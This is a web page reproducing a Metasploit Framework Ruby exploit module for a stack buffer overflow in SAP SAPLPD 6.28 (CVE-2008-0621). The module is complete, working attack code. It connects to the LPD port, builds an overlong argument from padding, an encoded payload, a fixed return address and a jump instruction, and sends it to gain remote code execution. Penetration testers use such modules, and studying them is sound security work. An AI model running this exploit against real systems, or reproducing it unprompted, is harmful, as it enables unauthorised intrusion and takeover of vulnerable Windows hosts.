CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lpd/saplpd.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'SAP SAPLPD 6.28 Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .
16
By sending an overly long argument, an attacker may be able to execute arbitrary
17
code.
18
},
19
'Author' => 'MC',
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2008-0621' ],
24
[ 'OSVDB', '41127' ],
25
[ 'BID', '27613' ],
26
],
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'thread',
30
},
31
'Payload' =>
32
{
33
'Space' => 400,
34
'BadChars' => "\x00\x0a",
35
'StackAdjustment' => -3500,
36
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)', { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/2006
42
],
43
'Privileged' => true,
44
'DisclosureDate' => '2008-02-04',
45
'DefaultTarget' => 0))
46
47
register_options([Opt::RPORT(515)], self)
48
end
49
50
def exploit
51
connect
52
53
sploit = "\x02"
54
sploit << rand_text_alpha_upper(484 - payload.encoded.length)
55
sploit << payload.encoded
56
sploit << [target.ret].pack('V')
57
sploit << [0xe9, -375].pack('CV')
58
59
print_status("Trying target #{target.name}...")
60
61
sock.puts(sploit)
62
63
handler
64
disconnect
65
end
66
end
67
68